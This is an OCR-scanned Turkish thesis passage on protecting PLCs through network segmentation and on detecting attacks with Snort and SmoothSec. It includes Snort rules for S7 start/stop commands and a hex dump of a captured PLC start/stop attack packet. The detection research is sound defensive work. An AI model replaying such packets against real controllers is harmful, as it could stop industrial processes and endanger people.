Ag boliimlendirmesi/izolasyonu (segmentation), geleneksel bilgi teknolojileri ve aglarinda
hayati 6neme sahip donanimlarin ya da uygulamalarin daha iyi korunmasi ve agin diger
boliimlerinden izole edilmesinde siklikla kullanilan gilivenlik Onlemidir. Caligmada,
boliimlendirilmis ag topolojisinde, PLC'ler1 Sekil 5.3'de gosterildigi gibi diger bilesenlerden
yalitmak i¢in ayr bir agda yapilandirilmistir. STUXNET 6rneginde oldugu gibi tiim sisteme
zarar vermemek icin, boliimlendirme yapilan agda PLC'ler ayr alt aglarda olmalidir. Ag
segmentasyonu, hayati donanim ve uygulamalari korumak i¢in agin diger boliimlerinden
izole etmek i¢in geleneksel bilgi teknolojileri aglarinda siklikla kullanilan bir gilivenlik
onlemidir [53]. Ag béliimlemesinin ana amaci, siber saldirilara karsi direng de dahil olmak
tizere fiziksel siireglerin esnekligini ve direncini arttirmaktir. Ag boliimlemesi, ayn alt agda
meydana gelen siber saldirilarin etkilerini en aza indirmenin bir yolu olarak kullanilan bir
yontemdir [205]. Fiziksel kisitlamalar, cografi olarak daginik cihazlar ve 6zellikle kritik

servislerin korunmasi i¢in gergeklestirilmektedir [5].

Sekil 5.2 (boliimlendirilmemis) ile Sekil 5.3 (bolimlendirilmis) karsilastirildiginda,
Sekil 5.2'de sadece bir agin (192.168.0.0/24) oldugu goriilmektedir. Diger taraftan,
Sekil 5.3'de ise 192.168.0.0/24 ve 192.168.1.0/24 adres araligina sahip iki farkli ag
bulunmaktadir. Boliimlendirilmis ag topolojisinde PLC'ler 192.168.0.0/24 aginda, agin
diger bilesenleri ise 192.168.1.0/24 aginda konuslandirilmistir. PLC'lerin  diger

bilesenlerden ayrilmasinin nedeni, onlar1 kritik 6nem tagiyan donanimlar olarak korumaktir.
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5.1.2. Saldirilarn tespiti

Analizlerin ikinci asamasinda ise ilk asamada gergeklestirilen saldir1 paketlerinin
izlenmesi, depolanmasi, paket analizi yapilmasi, saldir1 paternlerinin olusturulmasi ve bu
paternlere iliskin tespit sistemlerine (smoothsec ve splunk) saldir1 kurallarinin girilerek,
miiteakip bir zamanda yapilacak benzer saldirilarin tespit edilmesi hedeflenmistir.
Bu kapsamda, Sekil 5.4’de yer alan boliimlendirilmemis ag topolojisinde tiim saldir1 ve
tespit sistemleri 192.168.0.0/24 aginda yer almaktadir. Bu ag topolojisi, Sekil 5.2°de yer
alan topolojiye analiz asamasinda gercgeklestirilen saldirilardan Hizmet Reddi (DoS),
Bagslat/Durdur (Start/Stop), Port Tarama (Port Scan) basta olmak iizere aga yapilacak
saldirilarin tespitine yonelik, SmoothSec IDS yazilimi (sensor) ve MitM saldir1 yontemi

icinde Splunk log yonetim yaziliminin eklenmesiyle genisletilmis bi¢imidir.

AG-1 AG-2
192.168.0.0/24 192.168.10.0/24

SmoothSec (IDS)

PLC-1
192.168.0.15/24

192.168.0.4/24

o5

e \

\ 192.1&8.0.1/24 192.168.10.1/24

Sensor(Splunk)
192.168.10.15/24

TiaPortal Terminal ﬂf
192.168.0.16/24

Saldirgan(Kali)
192.168.0.8/24

|' I{
}

Sensor(Splunk)
192.168.0.17/24

|

|

|

|

\Z |
PLC-2 1
192.168.0.5/24 I
|

|

1

Sekil 5.4. Boliimlendirilmemis ag topolojisi (Tespit)

Sekil 5.5°de goriilen boliimlendirilmis ag topolojisinde ise 2 adet PLC, Splunk log izleme
ve yonetim bilgisayar1 ile SmoothSec IDS yazilimi bilgisayar1 ag-1’de (192.168.0.0/24)
TIA Portal yonetim bilgisayari, Kali Linux bilgisayari, Splunk log izleme ve yonetim
bilgisayar1 ag-2’de (192.168.10.0/24) yer almaktadir. Bu topoloji de Sekil 5.3°de yer alan

topolojiye tespit sistemlerinin eklenmesiyle olusturulmustur.
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AG-1 AG-2
192.168.0.0/24 192.168.10.0/24

|

1

1

PLC-1 1
192.168.0.4/24 1
1

|

|

1

1

Sensdr(Splunk)
192.168.10.15/24

- 192.168.0.1/24
SmoothSec (IDS) \
192.168.0.15/24

e

TiaPortal Terminal
192.168.10.16/24

Sensdr(Splunk)
192.168.0.17/24

PLC-2
192.168.0.5/24

Saldirgan(Kali)
192.168.10.18/24

Sekil 5.5. Boliimlendirilmis ag topolojisi (Tespit)

Gilivenlik ve giivenilirlik, ticari ya da endiistriyel herhangi bir agin en temel
gereksinimlerindendir. Ancak ag teknolojisindeki hizli ilerlemelerle saldirilar savunmalara
kiyasla daha karmasik hale gelmistir. Giivenlik duvarlar1 ve ydnlendirici tabanli paket
filtreleme genel bir ag gilivenlik topolojisinin temel unsurlari olmasina ragmen, kendi
baslarina yeterli degildir. Dolayisiyla, agin yetkisiz erisimden korunmasi i¢in, Izinsiz Giris
Tespit Sistemi (IDS) ve Izinsiz Giris Onleme Sistemi (IPS) ¢oziimleri 6n plana

¢ikmaktadir.

Saldir1 tespiti, bir sistemin veya agin siipheli etkinliklerini izlemek ve raporlamak igin
kullanilan bir aktivitedir. Saldir1 tespit sistemi ise bir sisteme veya bir aga miidahaleleri
tespit eden bir yazilim veya donanim veya her ikisinin birlesimi olabilir [206]. Aktif IDS,
saldirilar1 ve kars1 onlemleri engellemeye ya da en azindan yoneticileri uyarmaya caligir.
Pasif IDS, sadece saldir1 ayrintilarini giinliige kaydettirir veya denetim i¢in izler olusturur.
Bir IPS ise ag trafigini tarayan ve bir uygulamanin veya sistemin yetkisiz erisimi gibi
durumlarda istismarin1 onleyen bir ag giivenligi veya tehdit onleme teknolojisidir. IPS,
tehlikeli icerigi analiz etmek i¢in giivenlik duvarinin arkasinda bulunur. IDS tarayip ve

raporlarken; IPS aktif olarak analiz edebilir ve ag trafiginde islem yapar [207].
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Saldirilan tespit etmek i¢in imza tabanli ve anormallige dayali olmak iizere iki temel
yaklasim mevcuttur. Imza tabanli tespit fonksiyonel olarak geleneksel antiviriis tarayiciyla
aynidir. Her saldir1 olay1 i¢in olay kiitiiphanesinden bilinen bir imza arar. Daha sistematik
ve daha giivenli bir ¢6ziim uygulamak i¢in anormallige dayali tespit diisintilmelidir.
Anomalilige dayali tespitte oncellikle bir agin gelen trafigi taranir. Biitiin yasal (normal)
trafik filtrelenir ve anormal davranis sergileyen trafik paketleri izlenir. Her iki yaklasimin
art1 ve eksileri vardir. Bilinen imzalarin bulundugu veritabaniyla imza tabanli IDS daha
giivenilirdir ve sistem eslesen kaliplar1 aldiginda daha iyi ¢aligir, ancak yeni saldirilart
tespit edemez. Ote yandan, anormallige dayali IDS, yanlis alarmlarin sayisini arttirmanin
dezavantajlarinin  yaninda bilinmeyen (6zellikle sifirinct  giin)  saldirilart  tespit

edebilmektedir.

Ticari aglar i¢in kullanilan IDS kurallarinin biiyilk ¢ogunlugu Endiistriyel kontrol
sistemleri ve diger kontrol sistemleri igin gegerli olmamaktadir. Geleneksel IDS/IPS
sistemlerinin temel calisma mantigl; paketlerin atilmast ya da ayni paketler igin
yonlendirmenin iptali ile erisimlerin engellenmesine dayanmaktadir. Ancak bu calisma
yontemi endiistriyel kontrol sistemleri i¢in kabul edilebilir degildir. Endiistriyel altyapilarin
gereksinimleri nedeniyle, SCADA gibi endiistriyel kontrol sistemlerinde donanimlar ve
kontrolciiler arasinda diizenli ve siirekli bir haberlesme gereklidir. Bu haberlesmede
meydana gelen en kiiciik bir kesinti, en iyi ihtimalle sistemin ¢aligmasinin durmasi basta
olmak {izere Onemli felaketlere yol acabilmektedir. Bu nedenle EKS’ye 6zgii kural
setlerinin olusturulmasi gerekmektedir. Calismada sinama ortaminda PLC’nin bulundugu
ag lzerinde gergeklestirilen aktif saldirilarin tespitine yonelik olarak Sekil 5.6’da goriilen
Smoothsec sistemi kullanilmigtir. SmoothSec; Snort, Snorby, Barnyard, Sagan gibi ag
giivenligi araclarini i¢inde barindiran ve saldirilarin tespiti maksadiyla gelistirilen bir Linux
dagitimidir. SmoothSec araciligiyla elde edilen verilerin daha sonra tekrar analizi i¢in

veritabanina kaydetmek iizere veritabani kurulumu yapilmstir.

""“uos/ws SmoothSec

‘“‘H}.

Log Anlamlandirma Log Depolama Agda Guvenlik E
ve Normalegtirme Olaylarinin
izlenmesi

{Ag Anomali Tespit
. Senséri

Sekil 5.6. Saldir1 tespitinde kullanilan SmoothSec sistemi
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Tespit sisteminin mevcut sisteme ilave yiikk getirmemesi ve sistemin islerligini
etkilememesi i¢in aynalama teknigi kullanilarak ag iizerinde akan paketlerin bir kopyasi
sensorlere aktarilarak analizler gergeklestirilmistir. Smoothsec'in bilesenlerinden biri olan
Snort IDS'e girilen érnek bir kural, Sekil 5.7°de gosterilmistir. Onceki boliimde belirtildigi
gibi, SmoothSec, EKS'ye 6zel yapilandirmalar ve kural dizileri gibi endiistriyel kontrol
sistemindeki saldirilari tespit etmek igin Sekil 5.7'nin ilk satirinda gosterildigi gibi Baslat \
Durdur saldirisina 6zgii kural girilmistir. Algilama kurallarini elde etmek icin, Sekil 5.1'de
gosterilen agamalar uygulanmistir. Bu kapsamda, baslangigta, saldir1 gergeklestirilmis ve bu
calismada Wireshark olan paket analizérii yoluyla analiz i¢in saldir1 paketleri ele
gecirilmistir. Daha sonra, saldirinin imzasi, Sekil 5.7'de ikinci sirada belirtilen port 102'nin
stirekli olarak izlenmesi sonucunda ortaya cikarilmistir. Son olarak, saldiri, Smoothsec'e

girilen kuralin dogrulanmasi i¢in tekrar edilmistir.

Kural Adi Kural Oncelik
SET PLC tecp ->any 102 (msg: ”"Request CPU functions/set PLC CPU
START/STbP START/STOP”; classtype: policy- | Yiiksek (1)
violation; sid:201800001; rev:1;)
D?;ghi/lf%w - tep ->any 102 (msg: ”Data flow from/to PLC”;classtype: Diisiik (3
misc-activity; sid:201800002; rev:1;) ust ( )
PLC
ET POLICY ip Bl ->$HOME-NET any (msg: “ET POLICY Unallocated IE
Unallocated [0.0.0.0/18, 192.0.0.0/24, 192.0.2.0/24, 198.18.0.0/15,
198.51.100.0/24, 203.0.113.0/24] Space Traffic - Bogon Nets"“; Orta (2)
IP Space threshold:typelimit, trackby-src, count 1, seconds 360;
Traffic classtype:bad-unknown; sid:2002749; rev:14;)
EIETE icnp FERNAMNEEERN -> SHOME-NET any (msg: 7 ET SCAN ICMP
PING IPTools”; itype:8, icode 0;
ET SCAN
ICMP PING fast_pattern: only; | Diigiik (3)
IPTools reference: url,www.ks-soft.net/ip-tools.eng/ index.htm; reference:
url,doc, emergingthreats.net/2000575; classtype: misc-activity;
5id:200575; rev:8;)
DRI R Proiokol [NEENRMBEGHN HedefIPPort  Kul Opsiyons | Degigken | Payload Algiliia |

Sekil 5.7. Snort IDS’e Baglat/Durdur saldir1 paketlerinin tespit i¢in kural girilmesi

Snort, 1998'de Martin Roesch tarafindan olusturulan agik kaynak kodlu bir IDS'tir. IP
aglarinda gercek zamanl trafik analizi yapilabilir. Snort ayrica, isletim sistemi parmak izi
(fingerprint) girisimleri, ara bellek tasmalar1 (buffer overflow), gizli port taramalar1 gibi
cesitli saldirilan tespit etmek icin kullanilabilir. Snort esas olarak dort bilesenden olusur:
veri koklayicilar (sniffer), 6n islemci, algilama motoru ve giinliik (log) ve alarm sistemi
[208]. Snort, algilamanin dogas1 geregi, Snort imza eslesmesine baglidir. Bu nedenle, yeni

imzalar i¢in agin siirekli izlenerek anormal paketlerin imzalari ¢ikarilmalidir [209].
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Bu kapsamda, oOncelikle mevcut yapida baslat ve durdur islemlerinde gercek sistemin
gondermis oldugu paketler tespit edilerek incelenmistir. Miiteakiben baglat/durdur
islemlerinde cihaz bagimsiz olarak gonderilen paketler ayrigtirilmistir. Ayristirilan paketler
tespit sistemine (Snort) entegre edilmis ve cihaza gonderilen baslat/durdur komutlarinin
tespiti saglanmistir. Bu sayede i¢ ve dis tehditlere karst normlar belirlenerek, sapmalarin
tespitine yonelik ¢alisma gergeklestirilmistir. Son olarak, saldirilara karsi olan normlar ve
saldirinin imzasi, Sekil 5.8'de gosterildigi gibi yakalanan saldir1 paketlerini Wireshark

izerinden analiz ederek elde edilmistir.

00 Oc 29 fa 99 e5 00 1c 06 06 10 f1 0BNO0 @E 00 ..)........... E.
00 46 I 00 00 1e 06 19 c3 c0 a8 0a 12 c0 a8 .F...uevuvnennn.
00 04 B€'28 00766 00 03 60 d9 ab a3 13 30 G ...f.+.. ....:P.
10 00 35 56 00 oo (D 02 00 ..5V......... r..
0f 32 00 00 04 £2 00 00 00 08 34 00 00 00 00 00 .2........ 4o
72 02 00 00 r...
Nitelik igerik (Hexadecimal/Decimal)
0300001e02£08072
0x0193 (403)
Kaynak 192.168.10.18
KaynakPort 34347
Hedef 192.168.0.4
Hedef Port 102
Tiir TPv4 (0x0800)
Siiriim 4
Veri 7202000£32000004£20000000834000000000072020000

Sekil 5.8. Baslat / Durdur saldir1 paketi 6rnegi ve paket 6zellikleri tablosu

Snort IDS sistemine baslat/durdur saldir1 kuralinin tanimlanmasi sonucunda, IDS sistemi
saldirt gerceklestigi takdirde tespit etmesi ve alarm iiretmesi hedeflenmistir. Ancak
gorsellestirilmis olan Snorby ekraninda Sekil 5.9°da belirtilen kural taniminin yapilmamasi
durumunda, ekranda sadece kural numarasi goriilecektir. Bu da sistem y0neticisi tarafindan
alarmin hangi sebeple iretildigini anlamasin1 zorlastiracaktir. Bu nedenle, Sekil 5.9°da
belirtilen kural numarasina isim tanimi yapilarak sistem yoneticisinin tespit sistemi
tarafindan iretilen alarmi kaynagini belirlemesi ve bu sayede hizli reaksiyon vererek

onlem almasi kolaylastirilmistir.
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AT

# sid-msg.map autogenerated by PulledPork - DO WOT MODIFY BY HAND!

[ || SET PLC START/STOP

100000102 || GPL GAMES Halocon Denial of Service Empty UDP Packet || bugtrag,122

51

100000103 || GPL GAMES Breed Game Server Denial of Service Empty UDP Packet || b

ugtrag, 12262

100000104 || GFL GAMES Amp II 3D Game Server Denial of Service Empty UDP Packet
|| bugtrag,12192

100000119 || GFL WEB_CLIENT Internet Explorer URLMOM.DLL Content-Encoding Overfl

ow Attempt || url,www.microsoft.com/technetssecuritysbulletin/MS03-015.mspx || ¢

ve,2003-0113 || bugtrag, 7419

100000136 || GPL DELETED GNU imapd search format string attempt || cve,2005-2878
|| url,www.osvdb.org/displauvuln. php7osvdb_id=19306

100000139 || GPL WEB_SERVER WEB-IIS Remote IIS Serwver Name spoof attempt loophac

k IP || cve,2005-2678

100000149 || GPL EXPLOIT HWEB-MISC Jhoss % attempt || url,www.osvdh.org/displayvu

In.php%osvdb_id=17403 || cve,2005-2006 || bugtrag,13985

100000152 || GPL DELETED MDaemon authentication protocol decode

100000153 || GPL IMAP MDaemon authentication multiple packet overflow attempt ||
bugtrag, 14517

100000155 || GPL DELETED MDaemon authentication overflow single packet attempt |
| bugtrag, 14317

100000158 || GPL YOIP SIP INYITE message flooding

"sid-msg.map" 18326L, 2730068C 61

Top

Sekil 5.9. Snort IDS’e Baslat/Durdur
isimlendirilmesi (SID)

saldir1 paketlerinin tespitinde girilen kuralin

Test ortaminda gerceklestirilecek saldirilar 6ncesinde, SmoothSec tarafindan yonlendirilen
ag trafiginin analizi Snorby’e ait izleme ekraninda, olaylarin yiiksek, orta ve diisiik seviye
olmak iizere ii¢ kategoriye ayrildigi, ayrica baslangigta tiim degerlerin *0’ oldugu

goriilmiistiir (Sekil 5.10).

Search | Splunk 6.5.3 % (@ Snorby - Dashboard X+ - X
€ Of hitps//192.1680.15 e @ QSearch B & A& =
[8) Most visited 99 pfSense.ocaldomain - [El Search | Splunk Light .. [B) Snarby - Dashboard li] Burp Suite editions an...

Snorb Welcome Administrator
Y
Dashboard My Queue (0) Administration
Dashboard i More Options
LAST24 TODAY YESTERDAY THISWEEK THISMONTH THIS QUARTER THIS YEAR TOP 5 SENSOR
Snort 192.168.0.15
Snort 192.168.10.15
0 0 0 Sagan 192.168.0.15
HIGH SEVERITY MEDIUM SEVERITY LOW SEVERITY Sagan 192.168.10.15

Sensors

Event Count vs Time By Sensor & Snort 192.168.0.15
~ Snort 192.168.10.15
= Sagan 192.168.0.15

-4 Sagan 192.168.10.15
0.025

[§] o - - - - - - - " - - - -

TOP 5 ACTIVE USERS

Administrator

LAST 5 UNIQUE EVENTS

ET POLICY HTTP Request on.
ET INFO Suspicious W
ET POLICY HTTP POST on un
ET POLICY Htp Client Bod.

ET POLICY Login Credentia

ANALYST CLASSIFIED EVENTS

Sekil 5.10. Saldirilar 6ncesi Snorby yonetim ekrani
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Test ortamu iizerinde yer alan boliimlendirilmis ag topolojisi lizerinde Sekil 5.11°de
goriildiigl lizere Snort ve Sagan Sensorleri olmak tizere iki tip IDS Sensorii bulunmaktadir.
Snort sensorleri, farkli aglardan gelen trafigi izleyerek daha onceden tanimlanmis olan
kural dizilerine uymasit durumunda saldirilart ve agdaki anomalileri tespit ederek, ag
giivenligi icin kullanilmaktadir. Ote yandan, Sagan sensorleri, ag anomalilerini ve ag ve
bilesenlerini izleyerek tanimlanan kurallara uygun olarak degisiklikleri algilar. Ozellikle
saldirllarin sadece digsaridan gelmedigi ve iceriden yapilan saldirilarin ¢ok daha yikici
oldugu disiiniildiiginde, i¢ agin Sagan IDS tarafindan izlenmesinin Onemi ortaya
cikmaktadir. Yukarida belirtilen gérevler kapsaminda, tabloda yer alan sensorler tarafindan
sunulan IDS isimlerinin ve dolayisiyla uyar1 kaynaginin ayirt edilmesi, giivenlik
uzmanlarinin anormal ag faaliyetlerine hizli bir sekilde tepki vermesini kolaylastiracaktir.
Ornegin, Snort tabanli bir uyari tetiklendiginde, giivenlik politikasina gére disaridan gelen
tehditler i¢in ihtiyati tedbirler alinmasi yonelik hizli reaksiyon verilebilir. Diger taraftan, ic
agin konfigiirasyonunun degistirilmesi, yeni bir cihaz eklenmesi gibi Sagan tabanli bir
uyari alindiginda, operator tarafindan yasal veya yetkisiz bir sitipheli islem olup olmadigim

kontrol edip, engellemeye veya izin vermeye yonelik hizli bir sekilde aksiyon

[ Search | Splunk 6.5.3 X Snorby - Listing Sensors X+ = 3 X
€ OR 192.168.0.15, c @ eal w8 ¥4 090 =
# Most Visited @ pfSenselocaldomain -... B Search | Splunk Light... [BJ Snorby - Dashboard I} Burp Suite editions an.

Eb| [Eb| Ep

Ep

Sekil 5.11. Saldirilarin tespitinde kullanilan sensorler

Saldirilara iligkin detayli bilgi almak amaciyla Snorby izleme ekraninda yer alan olaylar
(events) sekmesi altindaki oturum listesi (listing sessions) incelenmektedir. Sekil 5.12°de
sunulan ekran goriintiisti incelendiginde, tespit edilen olaylarin ortaya ¢iktig1 zamana gore

siralandi@1 goriilmektedir.
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[ Search | Splunk 65.3 % B Snorby - Listing Sessions X 4+

€ o8

B Most Visited @ pfSense.localdomain -.. [l Search | Splunk Light ... Snorby - Dashboard [} Burp Suite editions an..

SnOrbg i threat stac

192.168.0.15/¢

Dashboard My Queue (0) Events
Listing Sessions

a Sev. Sensor Source IP

m} 0 s

(m} 0 =

(m] Snort 192

o 0 o 192.168.10.8

] Snort 188.324435

(m] Snort 170.120.46.143

(m} Snort 132.232107.126

(] nort 64.112.7.126

m] Snort 196.193.30.195

] Snort

o nort 196.63.217.7

o Snort

m] Snort
hitps://192.168.0.15/events/sessions 0 s 3

192168.0.4

192168.0.4

192.168.0.10

Hotkeys [ Classify Event(s)

Event Signature

ET INFO Suspicious W

ET POLICY HTTP

sted Traffic Inbound

ET DROP Spam.

d Traffic Inbound
ET DROP Spamhaus DROP Listed Traffic Inbound

ET DROP Spamhaus DROP Listed

ET DROP Spamhaus DROP Listed Traffic Inbound
ET DROP Spamhaus DROP Listed Traffic Inbound
ET DROP Spamhaus DROP Listed Traffic Inbound

ET POLICY HTTP POST on unusual Port Possibly Hostile

= g X
wa ¥ # =
Administration
% Filter Options
250 ]
2012
24 ]
4]
a
(1]
(1]
a
(1]
@a
a
(1]
o

Sekil 5.12. IDS sensorleri tarafindan yakalanan paketlerin olaylara doniistiiriilmesi

Test ortaminda MitM saldirisini tespit etmek amaciyla kullanilan Splunk log izleme ve

yonetim sistemi devreye alindiginda ag trafiginde tespit edilen yiiksek seviye olay

sayisinin ‘96’ adet oldugu Sekil 5.13’de goriilmektedir. Ayni islem tekrarlandiginda olay

sablonun degismedigi ve paket sayisinin 96 oldugu goriilmiistir.

Search | Splunk 6.5.3

€ Of nhitps

X B snorby - Dashboard X 4+

192.168.0.15/das

hreat stack

eue (0) Events

Dashboard

96

HIGH SEVERITY

Sensors

Sensors Search

LAST24 TODAY YESTERDAY THISWEEK THISMONTH THIS QUARTER THIS YEAR

1

MEDIUM SEVERITY

Event Count vs Time By Sensor

Snort 192.168.0.15

Snort

13

LOW SEVERITY

o Snort 192.168.0.15

~+- Snort 192.168.10.15
-=- Sagan 192.168.0.15
-+ Sagan 192.168.10.15

]

= More Options

TOP 5 SENSOR

Administration

Sekil 5.13. Ag paketlerinin analizi sonrasi olay sayilari

Sekil 5.13’de sunulan yiiksek seviyeli olaylarin listesini iceren Sekil 5.14’deki ekran

goriintiisii incelendiginde, saldirinin kaynak IP adresinin Splunk log izleme ve yOnetim

sistemi yiiklii olan bilgisayara ait oldugu goriilmektedir. Bu kapsamda; saldir1 olarak

Snorby IDS tarafindan tespit edilen olaylarin Splunk log izleme ve yonetim bilgisayarina
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ait olagan ag trafigi oldugu, bu nedenle {iretilen alarmlarin false-pozitif oldugu
degerlendirilmistir (EKS ag trafiginin izlenmesi ve ag paketlerin dogru olarak

degerlendirilmesinin 6nemi ortaya ¢ikmaktadir).

Search | Splunk 6.5.3 X Snorby - High Severity Eve.. X 4 - 8 X
€ O 192.168.0.15/result all=true&tsearchletimelfcc =end_time&searchletime][operator]=Ite&searc ¢ @ Qs TE $§ A9 =
(8 Most Visited @ pfSense.localdomain ... [l Search | Splunk Light... [@) Snorby - Dashboard I} Burp Suite editions an...

Administration

High Severity Events Hotkeys [ Classify Event(s) i More Options

m} Sev. Sensor Source IP Destination IP Event Signature Timestamp

O n Snort 192.168.0.17 192168.0.10 ET INFO Suspicious Windows NT version 1 User-Agent

O 0 s 192.1680.17 192168.0.10 E£T POLICY HTTP Request on Unusual Port Possibly Hostile

m] n Snont 192.168.0.17 192.168.0.10 ET INFO Suspicious Windows NT version 1 User-Agent

O 0 s 192.168.0.17 192.168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile

m] 0 s 192168.0.17 192168.0.10 ETINFO Suspicious Windows NT version 1 User-Agent

O 0 son 192.168.0.17 192.168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile

O [ 1 e 192.168.0.17 192.168.0.10 ETINFO Suspicious Windows NT version 1 User-Agent

] 0 s 192.168.0.17 192168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile

O n Snort 192.168.0.17 192168.0.10 ET INFO Suspicious Windows NT version 1 User-Agent

D o Snont 192.168.0.17 192.168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile

(] [ 1 B 192168017 192.168.0.10 ETINFO Suspicious Windows NT version 1 User-Agent

O 0 s 192168017 192168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile

O 0 s 192.168.0.17 192.168.0.10 ETINFO Suspicious Windows NT version 1 User-Agent

O 0 s 192.168.0.17 192.168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile .

Sekil 5.14. Yiiksek olaylarin detay1

Snorby {izerinde yiiksek seviyeli olaylarda listesinde goriintillenen ve ‘ET INFO
Suspicious Windows NT version 1 User-Agent’ olarak tanimlanan (Sekil 5.15) olaya ait
paket incelendiginde, Snorby IDS’in ortaya c¢ikan silipheli trafik paketlerini

tanimlayabildigi goriilmektedir.

Search | Splunk 6.53 X Snorby - High Severity Eve.. X 4 - B8 X
€ Of nt1ps//192.168.0.15/rest + =truedse time]fcc —end_t ea ator]=ltelise c @ Qse wB $§$ /&0 =
B Most Visited @ pfSense.localdomain -... [l Search | Splunk Light .. [ Snorby - Dashboard Wl Burp Suite editions an..

192.168.0.10 ET INFO Suspicious Windows NT version 1 User-Agent 9:08 PM
IP Header Information Perform Mass Classification  Event Export Options ~ Permalink
Source Destination Flags o Proto Csum
192.168.0.10
Signature Information
Generator 1D Sig. 10 Sig. Revision Activity (3292/20648)
2015808 trojan-activity s View Rule |
TCP Header Information
Src Port Dst Port
4283851944
Payload
> I plunkd/__raw
/services/messages2output
mode=json&sort _key=timeCre
ated_epochSecs&sort_dir=de
sckcount=1000& =1493316420
0.
0;.WOW64 ; 2.0) .Gecko/2
0100101, Firefox/52.0..Acce
pt:.text/javascript, . text/
htal, .application/xal, . tex
t/xml, .*/*. .Accept-languag
St a B e v

Sekil 5.15. Yiiksek seviyeli olay paket icerigi
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Genel olarak IDS sistemleri, lizerinden akan ag trafigini incelerken kiitiiphanesinde
bulunan ve saldir1 imzalarini igeren sablonlar ile gelen paketleri karsilastirir. IDS {izerinde
onceden ayarlanmis olan esik degerleri dogrultusunda ortaya ¢ikan eslesmelerin sonucunda
alarm iretir. IDS sistemlerine ait saldir1 imzalarini igeren kiitiiphaneler siirekli olarak
giincellenmektedir. Bu ¢alismada saldirilarin sonucunda elde edilen saldir1 sablonlar1 temel
alinarak saldir1 imzalar1 olusturulmustur. IDS sistemleri {izerinde olusturulan saldiri
imzalarinin s6z konusu kiitiiphanelere kural bilgisi olarak (Rule Information) eklenmesi ile
daha sonra meydana gelmesi muhtemel benzer saldirilarin otomatik olarak tespit edilmesi
hedeflenmistir. Sekil 5.16’da yiiksek seviyeli olaylarin tespitine iliskin bir kural bilgisi

ornek olarak goriilmektedir.

‘Search | Splunk 6.5.3 X B Snorby - High Severity Eve.. X 4= - =)

m

€ ) O hips;//192.168.0.15/results?match_all=true&search[etime][column] = end_time&searchetimel[operator ¢ @ QSearch

[ Most visited @ pfSenselocaldomain -.. Bl Search | Splunk Light ... (B Snorby - Dashboard Wi Burp Suite editions an...
T o=

B & 1 snon 192.168.0.17 192168.0.10 ET INFO Suspicious Windows NT version 1 User-Agent 3:08 PM
IP Header Information Perform Mass Classification  Event Export Options. Permalink

Flags

Signature Information

Generator ID

TeP Header Inforf] Sianature: ETINFO Suspicious Windows NT version 1 User-Agent

alert tcp $HOME NET any -> SEXTERNAL NET $HTTP_PORTS (msg:"ET INFO Suspicious
Windows NT version 1 User-Agent"; flow: established,to_server; content:"Windows
NI 1":; nocase; http_header; fast_pattern:only; pecre:"/ User-Agent\z3sal”
\r\n]+Windows NT 1/Hmi"; classtype:trojan-activity; 8id:2015898; rev:l:)

Src Port

Payload

Sekil 5.16. Yiiksek seviyeli olayin tespit edilmesini saglayan kural

Sagan Sistem Anomali Tespit Sensorii tarafindan orta seviyeli olarak tanimlanan olaylar
iceren Snorby IDS’e ait ekran goriintiisii Sekil 5.17°de sunulmustur. A§ topolojisine yeni
eklenen bir bilesenin, ag yoneticilerinin bilgilendirilmesi maksadiyla orta seviyeli bir olay

olarak listelendigi goriilmektedir.
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[ Search| Splunk 653 X Snorby - Medium Severity.. X 4 - & x
€ OR 5://192.168.0.15/result =trueBise: ¢ 1= c @ w8 ¥ A9 =
B Most Visited @@ pfSenselocaldomain -... Search | Splunk Light ... [ Snorby - Dashboard I} Burp Suite editions an.

Snorby  #mreatstac

Dashboard My Queue (0) Events Sensors Searc Administration
Medium Severity Events -] Hotkeys (@ Classify Event(s) i More Options

] Sev. Sensor Source 1P Destination IP Event Signature Timestamp

D Snort 188324435 192168.04 GPL MISC source port 53 to <1024

O Snort 170 192168.0.4 ET DROP Spamhaus DROP Listed Traffic Inbound

(m] Snort 64,1127 192.168.0.4 ET DROP Spamhaus DROP Listed Traffic Inbound

m] Snort 132232107126 192168.0.4 ET DROP Spamhaus DROP Listed Traffic Inbound

O Snort 196.193 192168.0.4 ET DROP Spamhaus DROP Listed Traffic Inbound

O Snort 192168.04 ET DROP Spamhaus DROP Listed Traffic Inbound

O nort 19216804 ET DROP Spamhaus DROP Listed Traffic Inbound

(m] Snort 192168.0.4 ET DROP Spamhaus DROP Listed Traffic Inbound

O Snort 199.196.217.184  192168.0.4 ET DROP Spamhaus DROP Listed Traffic Inbound

O Sagan 192.168.0.17 192.168.0.15 [ARP) arpalert - Detected new machine on the network

hitps: /v w snorby.or Threat Stack, nc

Sekil 5.17. Orta seviyeli olay drnegi

IDS tarafindan diislik seviyeli olarak tanimlanan olaylarin listelendigi Snorby’e ait ekran
goriintiisic ise Sekil 5.18’de goriilmektedir. Liste incelendiginde, SmootSec’in yiikli
oldugu kaynak bilgisayar ile PfSense gilivenlik duvari (hedef) arasindaki ag trafiginde

meydana gelen olaylarin bilgilendirme maksadiyla listelendigi goriilmektedir.

[Ed search | Splunk 65.3 b Snorby - Low Severity Eve.. X = = (=] X
€ OR 192.168.0.15/res a t etime][column] time&searchletime][ope ise c @ w8 $ A O =
18 Most Visited @ pfSense.localdomain -... Search | Splunk Light ... [@) Snorby - Dashboard I} Burp Suite editions an...

Administration
Low Severity Events ] Hotkeys (Ml Classify Event(s)  +** More Options
(] sev. sensor Source 1P Destination P Event Signature Timestamp
(] Snort 192.168.0.15 192.168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable
a B s 192168.0.15 192168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable
m] B s 192168.0.1 GPL ICMP_INFO D n Unreat ort Unreachable
O Snont 192168.0.1 GPL ICMP_INFO D1 ot Unreachable
m] Snort 192.168.0.1 GPLICMP, e Port Unreachable
O B Snort 192168.0.1 GPL ICMP_ able Port Unreachable
(m] Snort 192.168.0.15 192168.0.1 GPL ICMP_INFO D ble Port Unreachable
(m] B s 192168.0.15 192168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable
(m] e 192.168.0.15 192.168.0.1 GPL [CMP_INFO Destination Unreachable Port Unreachable
(] 192168.0.1 GPL ICMP_INFO Destination Unreachable Port Unreachable
